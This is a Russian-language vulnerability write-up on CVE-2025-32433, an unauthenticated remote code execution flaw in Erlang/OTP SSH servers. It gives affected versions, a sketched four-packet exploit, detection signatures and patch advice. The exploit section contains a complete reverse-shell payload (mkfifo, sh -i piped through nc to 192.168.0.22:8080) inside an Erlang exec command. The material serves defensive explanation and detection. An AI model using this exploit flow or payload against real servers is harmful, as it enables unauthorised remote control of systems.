CVE-2025-32433 — Remote Code Execution-уязвимость в SSH-серверах на базе Erlang/OTP, которая позволяет получить несанкционированный доступ к уязвимым системам и выполнять произвольные команды без аутентификации.
Метрики
Base Score: 10.0 CRITICAL
CWE-306
Уязвимы версии
<= OTP-27.3.2
<= OTP-26.2.5.10
<= OTP-25.3.2.19
Как происходит атака
По стандарту канал для выполнения команд SSH-клиентом открывается после прохождения аутентификации, в противном случае сообщение будет отвергнуто или приведет к разрыву соединения.
Но уязвимые версии
Erlang/OTP могут не проверять стадию аутентификации и обрабатывать CHANNEL_OPEN и exec сразу. Это приводит к тому, что для выполнения команд на сервере злоумышленникам достаточно иметь сетевой доступ к нему.Из чего состоит эксплоит
Эксплоит может состоять из четырёх клиентских SSH-пакетов после установления TCP-соединения.
1️⃣ Обмен баннерами. Клиент отправляет строку, сервер отвечает своей:
s.sendall(b"SSH-2.0-OpenSSH_8.9\r\n")
banner = s.recv(1024)
2️⃣ Инициализация обмена ключами:
kex_packet = build_kexinit()
s.sendall(pad_packet(kex_packet))
3️⃣ Отправка SSH-пакета типа
SSH_MSG_CHANNEL_OPEN с «просьбой» открыть канал, как будто клиент уже прошел аутентификацию:chan_open = build_channel_open()
s.sendall(pad_packet(chan_open))
4️⃣ Запрос на выполнение команды:
chan_req = build_channel_request(
command='file:write_file("/lab.sh", <<"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.0.22 8080 >/tmp/f">>), os:cmd("chmod +x /lab.sh"), os:cmd("/lab.sh").'
)
s.sendall(pad_packet(chan_req))
Пример выполнения CVE-2025-32433
Для примера отправим пакет, содержащий команду создания и выполнения Reverse Shell-кода, для получения контроля над уязвимым сервером:
file:write_file("/lab.sh", <<COMAND>>), os:cmd("chmod +x /lab.sh"), os:cmd("/lab.sh").
file:write_file("/lab.sh,<<COMAND>>)— создаст sh-скрипт c необходимой командой;os:cmd("chmod +x /lab.sh") — предоставит права на выполнение;os:cmd("/lab.sh") — запустит Reverse Shell.Как детектировать и защититься
Важно следить, что сообщения типов
MSG_CHANNEL_OPEN и MSG_CHANNEL_REQUEST не передаются в открытом виде в сетевом трафике. Согласно RFC 4253 и 4254, обмен такими сообщениями осуществляется после обмена ключами и аутентификации в зашифрованном виде. Для написания IDS-сигнатур можно обратить внимание на структуру таких сообщений:
byte SSH_MSG_CHANNEL_OPEN # значение 0x5a
string "session"
uint32 sender channel
uint32 initial window size
uint32 maximum packet size
byte SSH_MSG_CHANNEL_REQUEST # значение 0x62
uint32 recipient channel
string "exec"
boolean want reply
string command
Содержимое полей
string может меняться в зависимости от типа, а приведенные выше session и exec соответствуют запросам на открытие канала и выполнение команды. Появление в сетевом трафике SSH в открытом виде таких сообщений может свидетельствовать о попытках эксплуатации уязвимости.❗️ Настоятельно советуем обновиться до последних версий, а до этого ограничить доступ к SSH.
